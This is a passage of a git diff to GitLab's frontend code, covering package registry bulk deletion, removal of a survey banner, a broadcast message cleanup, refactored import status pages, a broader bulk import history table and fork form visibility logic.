+ this.track(CANCEL_DELETE_PACKAGES_TRACKING_ACTION);
+ this.itemsToBeDeleted = [];
},
deleteItemConfirmation() {
this.$emit('package:delete', this.itemToBeDeleted);
@@ -159,6 +176,13 @@ export default {
@ok="deleteItemConfirmation"
@cancel="deleteItemCanceled"
/>
+
+ <delete-modal
+ ref="deletePackagesModal"
+ :items-to-be-deleted="itemsToBeDeleted"
+ @confirm="deleteItemsConfirmation"
+ @cancel="deleteItemsCanceled"
+ />
</template>
</div>
</template>
diff --git a/app/assets/javascripts/packages_and_registries/package_registry/constants.js b/app/assets/javascripts/packages_and_registries/package_registry/constants.js
index b731cd77e66..539b12bd6db 100644
--- a/app/assets/javascripts/packages_and_registries/package_registry/constants.js
+++ b/app/assets/javascripts/packages_and_registries/package_registry/constants.js
@@ -110,6 +110,11 @@ export const FETCH_PACKAGE_PIPELINES_ERROR_MESSAGE = s__(
export const FETCH_PACKAGE_METADATA_ERROR_MESSAGE = s__(
'PackageRegistry|Something went wrong while fetching the package metadata.',
);
+
+export const DELETE_PACKAGES_TRACKING_ACTION = 'delete_packages';
+export const REQUEST_DELETE_PACKAGES_TRACKING_ACTION = 'request_delete_packages';
+export const CANCEL_DELETE_PACKAGES_TRACKING_ACTION = 'cancel_delete_packages';
+
export const DELETE_PACKAGES_ERROR_MESSAGE = s__(
'PackageRegistry|Something went wrong while deleting packages.',
);
@@ -184,9 +189,6 @@ export const PACKAGE_TYPES = [
s__('PackageRegistry|Helm'),
];
-export const HIDE_PACKAGE_MIGRATION_SURVEY_COOKIE = 'hide_package_registry_migration_survey';
-export const SURVEY_LINK = 'https://gitlab.fra1.qualtrics.com/jfe/form/SV_cHomH9FPzOaiDTU';
-
// links
export const EMPTY_LIST_HELP_URL = helpPagePath('user/packages/package_registry/index');
diff --git a/app/assets/javascripts/packages_and_registries/package_registry/pages/list.vue b/app/assets/javascripts/packages_and_registries/package_registry/pages/list.vue
index 8b5d51cb856..396429d60d8 100644
--- a/app/assets/javascripts/packages_and_registries/package_registry/pages/list.vue
+++ b/app/assets/javascripts/packages_and_registries/package_registry/pages/list.vue
@@ -1,20 +1,18 @@
<script>
-import { GlAlert, GlBanner, GlEmptyState, GlLink, GlSprintf } from '@gitlab/ui';
-import { createAlert, VARIANT_INFO } from '~/flash';
-import { getCookie, historyReplaceState, parseBoolean, setCookie } from '~/lib/utils/common_utils';
+import { GlAlert, GlEmptyState, GlLink, GlSprintf } from '@gitlab/ui';
+import { createAlert, VARIANT_INFO, VARIANT_SUCCESS, VARIANT_DANGER } from '~/flash';
+import { historyReplaceState } from '~/lib/utils/common_utils';
import { s__ } from '~/locale';
import { SHOW_DELETE_SUCCESS_ALERT } from '~/packages_and_registries/shared/constants';
import {
PROJECT_RESOURCE_TYPE,
GROUP_RESOURCE_TYPE,
GRAPHQL_PAGE_SIZE,
- HIDE_PACKAGE_MIGRATION_SURVEY_COOKIE,
DELETE_PACKAGE_SUCCESS_MESSAGE,
DELETE_PACKAGES_ERROR_MESSAGE,
DELETE_PACKAGES_SUCCESS_MESSAGE,
EMPTY_LIST_HELP_URL,
PACKAGE_HELP_URL,
- SURVEY_LINK,
} from '~/packages_and_registries/package_registry/constants';
import getPackagesQuery from '~/packages_and_registries/package_registry/graphql/queries/get_packages.query.graphql';
import destroyPackagesMutation from '~/packages_and_registries/package_registry/graphql/mutations/destroy_packages.mutation.graphql';
@@ -22,31 +20,26 @@ import DeletePackage from '~/packages_and_registries/package_registry/components
import PackageTitle from '~/packages_and_registries/package_registry/components/list/package_title.vue';
import PackageSearch from '~/packages_and_registries/package_registry/components/list/package_search.vue';
import PackageList from '~/packages_and_registries/package_registry/components/list/packages_list.vue';
-import DeleteModal from '~/packages_and_registries/package_registry/components/delete_modal.vue';
export default {
components: {
GlAlert,
- GlBanner,
GlEmptyState,
GlLink,
GlSprintf,
PackageList,
PackageTitle,
PackageSearch,
- DeleteModal,
DeletePackage,
},
inject: ['emptyListIllustration', 'isGroupPage', 'fullPath'],
data() {
return {
alertVariables: null,
- itemsToBeDeleted: [],
packages: {},
sort: '',
filters: {},
mutationLoading: false,
- showSurveyBanner: !parseBoolean(getCookie(HIDE_PACKAGE_MIGRATION_SURVEY_COOKIE)),
};
},
apollo: {
@@ -121,15 +114,13 @@ export default {
historyReplaceState(cleanUrl);
}
},
- async confirmDelete() {
- const { itemsToBeDeleted } = this;
- this.itemsToBeDeleted = [];
+ async deletePackages(packageEntities) {
this.mutationLoading = true;
try {
const { data } = await this.$apollo.mutate({
mutation: destroyPackagesMutation,
variables: {
- ids: itemsToBeDeleted.map((i) => i.id),
+ ids: packageEntities.map((i) => i.id),
},
awaitRefetchQueries: true,
refetchQueries: [
@@ -144,30 +135,22 @@ export default {
throw new Error(data.destroyPackages.errors[0]);
}
this.showAlert({
- variant: 'success',
+ variant: VARIANT_SUCCESS,
message: DELETE_PACKAGES_SUCCESS_MESSAGE,
});
} catch {
this.showAlert({
- variant: 'danger',
+ variant: VARIANT_DANGER,
message: DELETE_PACKAGES_ERROR_MESSAGE,
});
} finally {
this.mutationLoading = false;
}
},
- showDeletePackagesModal(toBeDeleted) {
- this.itemsToBeDeleted = toBeDeleted;
- this.$refs.deletePackagesModal.show();
- },
handleSearchUpdate({ sort, filters }) {
this.sort = sort;
this.filters = { ...filters };
},
- hideSurvey() {
- this.showSurveyBanner = false;
- setCookie(HIDE_PACKAGE_MIGRATION_SURVEY_COOKIE, 'true');
- },
updateQuery(_, { fetchMoreResult }) {
return fetchMoreResult;
},
@@ -208,17 +191,11 @@ export default {
noResultsText: s__(
'PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab.',
),
- surveyBannerTitle: s__('PackageRegistry|Help us learn about your registry migration needs'),
- surveyBannerDescription: s__(
- 'PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs.',
- ),
- surveyBannerPrimaryButtonText: s__('PackageRegistry|Take survey'),
},
links: {
EMPTY_LIST_HELP_URL,
PACKAGE_HELP_URL,
},
- surveyLink: SURVEY_LINK,
};
</script>
@@ -233,17 +210,6 @@ export default {
>
{{ alertVariables.message }}
</gl-alert>
- <gl-banner
- v-if="showSurveyBanner"
- :title="$options.i18n.surveyBannerTitle"
- :button-text="$options.i18n.surveyBannerPrimaryButtonText"
- :button-link="$options.surveyLink"
- class="gl-mt-3"
- @primary="hideSurvey"
- @close="hideSurvey"
- >
- <p>{{ $options.i18n.surveyBannerDescription }}</p>
- </gl-banner>
<package-title :help-url="$options.links.PACKAGE_HELP_URL" :count="packagesCount" />
<package-search class="gl-mb-5" @update="handleSearchUpdate" />
@@ -261,7 +227,7 @@ export default {
@prev-page="fetchPreviousPage"
@next-page="fetchNextPage"
@package:delete="deletePackage"
- @delete="showDeletePackagesModal"
+ @delete="deletePackages"
>
<template #empty-state>
<gl-empty-state :title="emptyStateTitle" :svg-path="emptyListIllustration">
@@ -280,11 +246,5 @@ export default {
</package-list>
</template>
</delete-package>
-
- <delete-modal
- ref="deletePackagesModal"
- :items-to-be-deleted="itemsToBeDeleted"
- @confirm="confirmDelete"
- />
</div>
</template>
diff --git a/app/assets/javascripts/packages_and_registries/shared/components/registry_list.vue b/app/assets/javascripts/packages_and_registries/shared/components/registry_list.vue
index cc345fda7e8..d07d0a7673f 100644
--- a/app/assets/javascripts/packages_and_registries/shared/components/registry_list.vue
+++ b/app/assets/javascripts/packages_and_registries/shared/components/registry_list.vue
@@ -87,13 +87,15 @@ export default {
<template>
<div>
- <div class="gl-display-flex gl-justify-content-space-between gl-mb-3 gl-align-items-center">
- <gl-form-checkbox v-if="!hiddenDelete" v-model="selectAll" class="gl-ml-2 gl-pt-2">
+ <div
+ v-if="!hiddenDelete"
+ class="gl-display-flex gl-justify-content-space-between gl-mb-3 gl-align-items-center"
+ >
+ <gl-form-checkbox v-model="selectAll" class="gl-ml-2 gl-pt-2">
<span class="gl-font-weight-bold">{{ title }}</span>
</gl-form-checkbox>
<gl-button
- v-if="!hiddenDelete"
:disabled="disableDeleteButton"
category="secondary"
variant="danger"
diff --git a/app/assets/javascripts/pages/admin/application_settings/index.js b/app/assets/javascripts/pages/admin/application_settings/index.js
index a6e3a7dc08a..f1e92cf195a 100644
--- a/app/assets/javascripts/pages/admin/application_settings/index.js
+++ b/app/assets/javascripts/pages/admin/application_settings/index.js
@@ -1,4 +1,4 @@
-import initVariableList from '~/ci_variable_list';
+import initVariableList from '~/ci/ci_variable_list';
import projectSelect from '~/project_select';
import initSearchSettings from '~/search_settings';
import selfMonitor from '~/self_monitor';
diff --git a/app/assets/javascripts/pages/admin/broadcast_messages/broadcast_message.js b/app/assets/javascripts/pages/admin/broadcast_messages/broadcast_message.js
deleted file mode 100644
index 40348e0b18a..00000000000
--- a/app/assets/javascripts/pages/admin/broadcast_messages/broadcast_message.js
+++ /dev/null
@@ -1,60 +0,0 @@
-import $ from 'jquery';
-import { debounce } from 'lodash';
-import { createAlert } from '~/flash';
-import axios from '~/lib/utils/axios_utils';
-import { DEFAULT_DEBOUNCE_AND_THROTTLE_MS } from '~/lib/utils/constants';
-import { __ } from '~/locale';
-
-export default () => {
- const $broadcastMessageTheme = $('.js-broadcast-message-theme');
- const $broadcastMessageType = $('.js-broadcast-message-type');
- const $broadcastBannerMessagePreview = $('.js-broadcast-banner-message-preview [role="alert"]');
- const $broadcastMessage = $('.js-broadcast-message-message');
- const $jsBroadcastMessagePreview = $('#broadcast-message-preview');
-
- const reloadPreview = function reloadPreview() {
- const previewPath = $broadcastMessage.data('previewPath');
- const message = $broadcastMessage.val();
- const type = $broadcastMessageType.val();
- const theme = $broadcastMessageTheme.val();
-
- axios
- .post(previewPath, {
- broadcast_message: {
- message,
- broadcast_type: type,
- theme,
- },
- })
- .then(({ data }) => {
- $jsBroadcastMessagePreview.html(data);
- })
- .catch(() =>
- createAlert({
- message: __('An error occurred while rendering preview broadcast message'),
- }),
- );
- };
-
- $broadcastMessageTheme.on('change', reloadPreview);
-
- $broadcastMessageType.on('change', () => {
- const $broadcastMessageColorFormGroup = $('.js-broadcast-message-background-color-form-group');
- const $broadcastMessageDismissableFormGroup = $('.js-broadcast-message-dismissable-form-group');
- const $broadcastNotificationMessagePreview = $('.js-broadcast-notification-message-preview');
-
- $broadcastMessageColorFormGroup.toggleClass('hidden');
- $broadcastMessageDismissableFormGroup.toggleClass('hidden');
- $broadcastBannerMessagePreview.toggleClass('hidden');
- $broadcastNotificationMessagePreview.toggleClass('hidden');
-
- reloadPreview();
- });
-
- $broadcastMessage.on(
- 'input',
- debounce(() => {
- reloadPreview();
- }, DEFAULT_DEBOUNCE_AND_THROTTLE_MS),
- );
-};
diff --git a/app/assets/javascripts/pages/admin/broadcast_messages/edit/index.js b/app/assets/javascripts/pages/admin/broadcast_messages/edit/index.js
index 25036984082..94cae500a1e 100644
--- a/app/assets/javascripts/pages/admin/broadcast_messages/edit/index.js
+++ b/app/assets/javascripts/pages/admin/broadcast_messages/edit/index.js
@@ -1,8 +1,3 @@
import initEditBroadcastMessage from '~/admin/broadcast_messages/edit';
-import initBroadcastMessagesForm from '../broadcast_message';
-if (gon.features.vueBroadcastMessages) {
- initEditBroadcastMessage();
-} else {
- initBroadcastMessagesForm();
-}
+initEditBroadcastMessage();
diff --git a/app/assets/javascripts/pages/admin/broadcast_messages/index/index.js b/app/assets/javascripts/pages/admin/broadcast_messages/index/index.js
index 1f37df2b340..2662496be05 100644
--- a/app/assets/javascripts/pages/admin/broadcast_messages/index/index.js
+++ b/app/assets/javascripts/pages/admin/broadcast_messages/index/index.js
@@ -1,10 +1,3 @@
import initBroadcastMessages from '~/admin/broadcast_messages';
-import initDeprecatedRemoveRowBehavior from '~/behaviors/deprecated_remove_row_behavior';
-import initBroadcastMessagesForm from '../broadcast_message';
-if (gon.features.vueBroadcastMessages) {
- initBroadcastMessages();
-} else {
- initBroadcastMessagesForm();
- initDeprecatedRemoveRowBehavior();
-}
+initBroadcastMessages();
diff --git a/app/assets/javascripts/pages/groups/boards/index.js b/app/assets/javascripts/pages/groups/boards/index.js
index bde0007ec6a..23f5b083589 100644
--- a/app/assets/javascripts/pages/groups/boards/index.js
+++ b/app/assets/javascripts/pages/groups/boards/index.js
@@ -1,7 +1,5 @@
import ShortcutsNavigation from '~/behaviors/shortcuts/shortcuts_navigation';
import initBoards from '~/boards';
-import UsersSelect from '~/users_select';
-new UsersSelect(); // eslint-disable-line no-new
new ShortcutsNavigation(); // eslint-disable-line no-new
initBoards();
diff --git a/app/assets/javascripts/pages/groups/edit/index.js b/app/assets/javascripts/pages/groups/edit/index.js
index 58ca195d7b9..fb685247bd4 100644
--- a/app/assets/javascripts/pages/groups/edit/index.js
+++ b/app/assets/javascripts/pages/groups/edit/index.js
@@ -2,7 +2,7 @@ import { GROUP_BADGE } from '~/badges/constants';
import dirtySubmitFactory from '~/dirty_submit/dirty_submit_factory';
import initFilePickers from '~/file_pickers';
import initTransferGroupForm from '~/groups/init_transfer_group_form';
-import groupsSelect from '~/groups_select';
+import { initGroupSelects } from '~/vue_shared/components/group_select/init_group_selects';
import { initCascadingSettingsLockPopovers } from '~/namespaces/cascading_settings';
import mountBadgeSettings from '~/pages/shared/mount_badge_settings';
import projectSelect from '~/project_select';
@@ -20,7 +20,7 @@ dirtySubmitFactory(
mountBadgeSettings(GROUP_BADGE);
// Initialize Subgroups selector
-groupsSelect();
+initGroupSelects();
projectSelect();
diff --git a/app/assets/javascripts/pages/groups/group_members/index.js b/app/assets/javascripts/pages/groups/group_members/index.js
index 62d47cb49b8..ceda2c8fa17 100644
--- a/app/assets/javascripts/pages/groups/group_members/index.js
+++ b/app/assets/javascripts/pages/groups/group_members/index.js
@@ -11,7 +11,7 @@ import { groupLinkRequestFormatter } from '~/members/utils';
const SHARED_FIELDS = ['account', 'maxRole', 'expiration', 'actions'];
const APP_OPTIONS = {
[MEMBER_TYPES.user]: {
- tableFields: SHARED_FIELDS.concat(['source', 'granted', 'userCreatedAt', 'lastActivityOn']),
+ tableFields: SHARED_FIELDS.concat(['source', 'activity']),
tableAttrs: { tr: { 'data-qa-selector': 'member_row' } },
tableSortableFields: [
'account',
diff --git a/app/assets/javascripts/pages/groups/observability/datasources/index.js b/app/assets/javascripts/pages/groups/observability/datasources/index.js
new file mode 100644
index 00000000000..c3b6ce6f99f
--- /dev/null
+++ b/app/assets/javascripts/pages/groups/observability/datasources/index.js
@@ -0,0 +1,3 @@
+import ObservabilityApp from '~/observability';
+
+ObservabilityApp();
diff --git a/app/assets/javascripts/pages/groups/settings/ci_cd/show/index.js b/app/assets/javascripts/pages/groups/settings/ci_cd/show/index.js
index b1a1cc21764..184958bd189 100644
--- a/app/assets/javascripts/pages/groups/settings/ci_cd/show/index.js
+++ b/app/assets/javascripts/pages/groups/settings/ci_cd/show/index.js
@@ -1,5 +1,5 @@
import initStaleRunnerCleanupSetting from 'ee_else_ce/group_settings/stale_runner_cleanup';
-import initVariableList from '~/ci_variable_list';
+import initVariableList from '~/ci/ci_variable_list';
import initSharedRunnersForm from '~/group_settings/mount_shared_runners';
import initSettingsPanels from '~/settings_panels';
import initDeployTokens from '~/deploy_tokens';
diff --git a/app/assets/javascripts/pages/groups/show/index.js b/app/assets/javascripts/pages/groups/show/index.js
index 161fca83a58..53bceb3a6f0 100644
--- a/app/assets/javascripts/pages/groups/show/index.js
+++ b/app/assets/javascripts/pages/groups/show/index.js
@@ -1,7 +1,9 @@
import leaveByUrl from '~/namespaces/leave_by_url';
import { initGroupOverviewTabs } from '~/groups/init_overview_tabs';
+import initReadMore from '~/read_more';
import initGroupDetails from '../shared/group_details';
leaveByUrl('group');
initGroupDetails();
initGroupOverviewTabs();
+initReadMore();
diff --git a/app/assets/javascripts/pages/import/bitbucket/status/index.js b/app/assets/javascripts/pages/import/bitbucket/status/index.js
index 6e9c26bf930..0b0f222ab76 100644
--- a/app/assets/javascripts/pages/import/bitbucket/status/index.js
+++ b/app/assets/javascripts/pages/import/bitbucket/status/index.js
@@ -1,21 +1,6 @@
-import Vue from 'vue';
-import { initStoreFromElement, initPropsFromElement } from '~/import_entities/import_projects';
+import mountImportProjectsTable from '~/import_entities/import_projects';
import BitbucketStatusTable from '~/import_entities/import_projects/components/bitbucket_status_table.vue';
-function importBitBucket() {
- const mountElement = document.getElementById('import-projects-mount-element');
- if (!mountElement) return undefined;
+const mountElement = document.getElementById('import-projects-mount-element');
- const store = initStoreFromElement(mountElement);
- const attrs = initPropsFromElement(mountElement);
-
- return new Vue({
- el: mountElement,
- store,
- render(createElement) {
- return createElement(BitbucketStatusTable, { attrs });
- },
- });
-}
-
-importBitBucket();
+mountImportProjectsTable({ mountElement, Component: BitbucketStatusTable });
diff --git a/app/assets/javascripts/pages/import/bitbucket_server/status/index.js b/app/assets/javascripts/pages/import/bitbucket_server/status/index.js
index 90eb423c7a7..680ff0ddcde 100644
--- a/app/assets/javascripts/pages/import/bitbucket_server/status/index.js
+++ b/app/assets/javascripts/pages/import/bitbucket_server/status/index.js
@@ -1,24 +1,10 @@
-import Vue from 'vue';
-import { initStoreFromElement, initPropsFromElement } from '~/import_entities/import_projects';
-import BitbucketServerStatusTable from './components/bitbucket_server_status_table.vue';
-
-function BitbucketServerStatus() {
- const mountElement = document.getElementById('import-projects-mount-element');
- if (!mountElement) return undefined;
+import mountImportProjectsTable from '~/import_entities/import_projects';
- const store = initStoreFromElement(mountElement);
- const attrs = initPropsFromElement(mountElement);
- const { reconfigurePath } = mountElement.dataset;
-
- return new Vue({
- el: mountElement,
- store,
- render(createElement) {
- return createElement(BitbucketServerStatusTable, {
- attrs: { ...attrs, reconfigurePath },
- });
- },
- });
-}
+import BitbucketServerStatusTable from './components/bitbucket_server_status_table.vue';
-BitbucketServerStatus();
+const mountElement = document.getElementById('import-projects-mount-element');
+mountImportProjectsTable({
+ mountElement,
+ Component: BitbucketServerStatusTable,
+ extraProps: ({ reconfigurePath }) => ({ reconfigurePath }),
+});
diff --git a/app/assets/javascripts/pages/import/bulk_imports/history/components/bulk_imports_history_app.vue b/app/assets/javascripts/pages/import/bulk_imports/history/components/bulk_imports_history_app.vue
index 6feb4c2188f..3dcababb4fd 100644
--- a/app/assets/javascripts/pages/import/bulk_imports/history/components/bulk_imports_history_app.vue
+++ b/app/assets/javascripts/pages/import/bulk_imports/history/components/bulk_imports_history_app.vue
@@ -1,5 +1,13 @@
<script>
-import { GlButton, GlEmptyState, GlLink, GlLoadingIcon, GlTable } from '@gitlab/ui';
+import {
+ GlButton,
+ GlEmptyState,
+ GlIcon,
+ GlLink,
+ GlLoadingIcon,
+ GlTableLite,
+ GlTooltipDirective as GlTooltip,
+} from '@gitlab/ui';
import { s__, __ } from '~/locale';
import { createAlert } from '~/flash';
@@ -34,15 +42,20 @@ export default {
components: {
GlButton,
GlEmptyState,
+ GlIcon,
GlLink,
GlLoadingIcon,
- GlTable,
+ GlTableLite,
PaginationBar,
ImportStatus,
TimeAgo,
LocalStorageSync,
},
+ directives: {
+ GlTooltip,
+ },
+
data() {
return {
loading: true,
@@ -58,12 +71,12 @@ export default {
fields: [
tableCell({
key: 'source_full_path',
- label: s__('BulkImport|Source group'),
+ label: s__('BulkImport|Source'),
thClass: `${DEFAULT_TH_CLASSES} gl-w-30p`,
}),
tableCell({
key: 'destination_name',
- label: s__('BulkImport|Destination group'),
+ label: s__('BulkImport|Destination'),
thClass: `${DEFAULT_TH_CLASSES} gl-w-40p`,
}),
tableCell({
@@ -113,12 +126,24 @@ export default {
}
},
- getDestinationUrl({ destination_name: name, destination_namespace: namespace }) {
- return [namespace, name].filter(Boolean).join('/');
+ getFullDestinationUrl(params) {
+ return joinPaths(gon.relative_url_root || '', '/', params.destination_full_path);
},
- getFullDestinationUrl(params) {
- return joinPaths(gon.relative_url_root || '', '/', this.getDestinationUrl(params));
+ getPresentationUrl(item) {
+ const suffix = item.entity_type === 'group' ? '/' : '';
+ return `${item.destination_full_path}${suffix}`;
+ },
+
+ getEntityTooltip(item) {
+ switch (item.entity_type) {
+ case 'project':
+ return __('Project');
+ case 'group':
+ return __('Group');
+ default:
+ return '';
+ }
},
},
@@ -134,26 +159,36 @@ export default {
>
<h1 class="gl-my-0 gl-py-4 gl-font-size-h1">
<img :src="$options.gitlabLogo" class="gl-w-6 gl-h-6 gl-mb-2 gl-display-inline gl-mr-2" />
- {{ s__('BulkImport|Group import history') }}
+ {{ s__('BulkImport|GitLab Migration history') }}
</h1>
</div>
<gl-loading-icon v-if="loading" size="lg" class="gl-mt-5" />
<gl-empty-state
v-else-if="!hasHistoryItems"
:title="s__('BulkImport|No history is available')"
- :description="s__('BulkImport|Your imported groups will appear here.')"
+ :description="s__('BulkImport|Your imported groups and projects will appear here.')"
/>
<template v-else>
- <gl-table
+ <gl-table-lite
:fields="$options.fields"
:items="historyItems"
data-qa-selector="import_history_table"
class="gl-w-full"
>
<template #cell(destination_name)="{ item }">
- <gl-link :href="getFullDestinationUrl(item)" target="_blank">
- {{ getDestinationUrl(item) }}
- </gl-link>
+ <template v-if="item.destination_full_path">
+ <gl-icon
+ v-gl-tooltip
+ :name="item.entity_type"
+ :title="getEntityTooltip(item)"
+ :aria-label="getEntityTooltip(item)"
+ class="gl-text-gray-500"
+ />
+ <gl-link :href="getFullDestinationUrl(item)" target="_blank">
+ {{ getPresentationUrl(item) }}
+ </gl-link>
+ </template>
+ <gl-loading-icon v-else inline />
</template>
<template #cell(created_at)="{ value }">
<time-ago :time="value" />
@@ -171,7 +206,7 @@ export default {
<template #row-details="{ item }">
<pre><code>{{ item.failures }}</code></pre>
</template>
- </gl-table>
+ </gl-table-lite>
<pagination-bar
:page-info="pageInfo"
class="gl-m-0 gl-mt-3"
diff --git a/app/assets/javascripts/pages/import/fogbugz/status/index.js b/app/assets/javascripts/pages/import/fogbugz/status/index.js
index 4c427b72372..30ee468734d 100644
--- a/app/assets/javascripts/pages/import/fogbugz/status/index.js
+++ b/app/assets/javascripts/pages/import/fogbugz/status/index.js
@@ -2,4 +2,4 @@ import mountImportProjectsTable from '~/import_entities/import_projects';
const mountElement = document.getElementById('import-projects-mount-element');
-mountImportProjectsTable(mountElement);
+mountImportProjectsTable({ mountElement });
diff --git a/app/assets/javascripts/pages/import/gitea/status/index.js b/app/assets/javascripts/pages/import/gitea/status/index.js
index 4c427b72372..30ee468734d 100644
--- a/app/assets/javascripts/pages/import/gitea/status/index.js
+++ b/app/assets/javascripts/pages/import/gitea/status/index.js
@@ -2,4 +2,4 @@ import mountImportProjectsTable from '~/import_entities/import_projects';
const mountElement = document.getElementById('import-projects-mount-element');
-mountImportProjectsTable(mountElement);
+mountImportProjectsTable({ mountElement });
diff --git a/app/assets/javascripts/pages/import/github/status/index.js b/app/assets/javascripts/pages/import/github/status/index.js
index 4c427b72372..30ee468734d 100644
--- a/app/assets/javascripts/pages/import/github/status/index.js
+++ b/app/assets/javascripts/pages/import/github/status/index.js
@@ -2,4 +2,4 @@ import mountImportProjectsTable from '~/import_entities/import_projects';
const mountElement = document.getElementById('import-projects-mount-element');
-mountImportProjectsTable(mountElement);
+mountImportProjectsTable({ mountElement });
diff --git a/app/assets/javascripts/pages/import/gitlab/status/index.js b/app/assets/javascripts/pages/import/gitlab/status/index.js
index 4c427b72372..30ee468734d 100644
--- a/app/assets/javascripts/pages/import/gitlab/status/index.js
+++ b/app/assets/javascripts/pages/import/gitlab/status/index.js
@@ -2,4 +2,4 @@ import mountImportProjectsTable from '~/import_entities/import_projects';
const mountElement = document.getElementById('import-projects-mount-element');
-mountImportProjectsTable(mountElement);
+mountImportProjectsTable({ mountElement });
diff --git a/app/assets/javascripts/pages/import/manifest/status/index.js b/app/assets/javascripts/pages/import/manifest/status/index.js
index 4c427b72372..30ee468734d 100644
--- a/app/assets/javascripts/pages/import/manifest/status/index.js
+++ b/app/assets/javascripts/pages/import/manifest/status/index.js
@@ -2,4 +2,4 @@ import mountImportProjectsTable from '~/import_entities/import_projects';
const mountElement = document.getElementById('import-projects-mount-element');
-mountImportProjectsTable(mountElement);
+mountImportProjectsTable({ mountElement });
diff --git a/app/assets/javascripts/pages/projects/commit/show/index.js b/app/assets/javascripts/pages/projects/commit/show/index.js
index af0097b415c..46704d96552 100644
--- a/app/assets/javascripts/pages/projects/commit/show/index.js
+++ b/app/assets/javascripts/pages/projects/commit/show/index.js
@@ -78,3 +78,5 @@ if (filesContainer.length) {
loadAwardsHandler();
initCommitActions();
+
+syntaxHighlight([document.querySelector('.files')]);
diff --git a/app/assets/javascripts/pages/projects/compare/show/index.js b/app/assets/javascripts/pages/projects/compare/show/index.js
index b74f7d1cf57..760bf3f7131 100644
--- a/app/assets/javascripts/pages/projects/compare/show/index.js
+++ b/app/assets/javascripts/pages/projects/compare/show/index.js
@@ -2,6 +2,7 @@ import Diff from '~/diff';
import GpgBadges from '~/gpg_badges';
import { initDiffStatsDropdown } from '~/init_diff_stats_dropdown';
import initCompareSelector from '~/projects/compare';
+import syntaxHighlight from '~/syntax_highlight';
initCompareSelector();
@@ -9,3 +10,5 @@ new Diff(); // eslint-disable-line no-new
const paddingTop = 16;
initDiffStatsDropdown(document.querySelector('.navbar-gitlab').offsetHeight - paddingTop);
GpgBadges.fetch();
+
+syntaxHighlight([document.querySelector('.files')]);
diff --git a/app/assets/javascripts/pages/projects/forks/new/components/fork_form.vue b/app/assets/javascripts/pages/projects/forks/new/components/fork_form.vue
index 91650003d4a..2028af8b8f0 100644
--- a/app/assets/javascripts/pages/projects/forks/new/components/fork_form.vue
+++ b/app/assets/javascripts/pages/projects/forks/new/components/fork_form.vue
@@ -57,6 +57,9 @@ export default {
visibilityHelpPath: {
default: '',
},
+ cancelPath: {
+ default: '',
+ },
projectFullPath: {
default: '',
},
@@ -97,7 +100,7 @@ export default {
required: false,
skipValidation: true,
}),
- visibility: initFormField({ value: this.getInitialVisibilityValue() }),
+ visibility: initFormField({ value: null }),
},
};
return {
@@ -106,8 +109,39 @@ export default {
};
},
computed: {
+ projectVisibilityLevel() {
+ return VISIBILITY_LEVELS_STRING_TO_INTEGER[this.projectVisibility];
+ },
+ namespaceVisibilityLevel() {
+ const visibility =
+ this.form.fields.namespace.value?.visibility || VISIBILITY_LEVEL_PUBLIC_STRING;
+ return VISIBILITY_LEVELS_STRING_TO_INTEGER[visibility];
+ },
+ visibilityLevelCap() {
+ return Math.min(this.projectVisibilityLevel, this.namespaceVisibilityLevel);
+ },
+ restrictedVisibilityLevelsSet() {
+ return new Set(this.restrictedVisibilityLevels);
+ },
allowedVisibilityLevels() {
- return this.getAllowedVisibilityLevels();
+ const allowedLevels = Object.entries(VISIBILITY_LEVELS_STRING_TO_INTEGER).reduce(
+ (levels, [levelName, levelValue]) => {
+ if (
+ !this.restrictedVisibilityLevelsSet.has(levelValue) &&
+ levelValue <= this.visibilityLevelCap
+ ) {
+ levels.push(levelName);
+ }
+ return levels;
+ },
+ [],
+ );
+
+ if (!allowedLevels.length) {
+ return [VISIBILITY_LEVEL_PRIVATE_STRING];
+ }
+
+ return allowedLevels;
},
visibilityLevels() {
return [
@@ -143,13 +177,15 @@ export default {
this.form.fields.slug.value = kebabCase(newVal);
},
},
+ created() {
+ this.form.fields.visibility.value = this.getMaximumAllowedVisibilityLevel(
+ VISIBILITY_LEVEL_PUBLIC_STRING,
+ );
+ },
methods: {
isVisibilityLevelDisabled(visibility) {
return !this.allowedVisibilityLevels.includes(visibility);
},
- getInitialVisibilityValue() {
- return this.getMaximumAllowedVisibilityLevel(this.projectVisibility);
- },
setNamespace(namespace) {
this.form.fields.namespace.value = namespace;
this.form.fields.namespace.state = true;
@@ -157,42 +193,8 @@ export default {
this.form.fields.visibility.value,
);
},
- getProjectVisibilityLevel() {
- return VISIBILITY_LEVELS_STRING_TO_INTEGER[this.projectVisibility];
- },
- getNamespaceVisibilityLevel() {
- const visibility =
- this.form?.fields?.namespace?.value?.visibility || VISIBILITY_LEVEL_PUBLIC_STRING;
- return VISIBILITY_LEVELS_STRING_TO_INTEGER[visibility];
- },
- getVisibilityLevelCap() {
- return Math.min(this.getProjectVisibilityLevel(), this.getNamespaceVisibilityLevel());
- },
- getRestrictedVisibilityLevelsSet() {
- return new Set(this.restrictedVisibilityLevels);
- },
- getAllowedVisibilityLevels() {
- const allowedLevels = Object.entries(VISIBILITY_LEVELS_STRING_TO_INTEGER).reduce(
- (levels, [levelName, levelValue]) => {
- if (
- !this.getRestrictedVisibilityLevelsSet().has(levelValue) &&
- levelValue <= this.getVisibilityLevelCap()
- ) {
- levels.push(levelName);
- }
- return levels;
- },
- [],
- );
-
- if (!allowedLevels.length) {
- return [VISIBILITY_LEVEL_PRIVATE_STRING];
- }
-
- return allowedLevels;
- },
getMaximumAllowedVisibilityLevel(visibility) {
- const allowedVisibilities = this.getAllowedVisibilityLevels().map(
+ const allowedVisibilities = this.allowedVisibilityLevels.map(
(s) => VISIBILITY_LEVELS_STRING_TO_INTEGER[s],
);
const current = VISIBILITY_LEVELS_STRING_TO_INTEGER[visibility];
@@ -373,7 +375,7 @@ export default {
class="gl-mr-3"
data-testid="cancel-button"
:disabled="isSaving"
- :href="projectFullPath"
+ :href="cancelPath"
>
{{ s__('ForkProject|Cancel') }}
</gl-button>
diff --git a/app/assets/javascripts/pages/projects/forks/new/components/project_namespace.vue b/app/assets/javascripts/pages/projects/forks/new/components/project_namespace.vue
index 00e0649deed..5e0c5735bc0 100644
--- a/app/assets/javascripts/pages/projects/forks/new/components/project_namespace.vue
+++ b/app/assets/javascripts/pages/projects/forks/new/components/project_namespace.vue
@@ -1,14 +1,5 @@
<script>
-import {
- GlButton,
- GlButtonGroup,
- GlDropdown,
- GlDropdownItem,
- GlDropdownText,
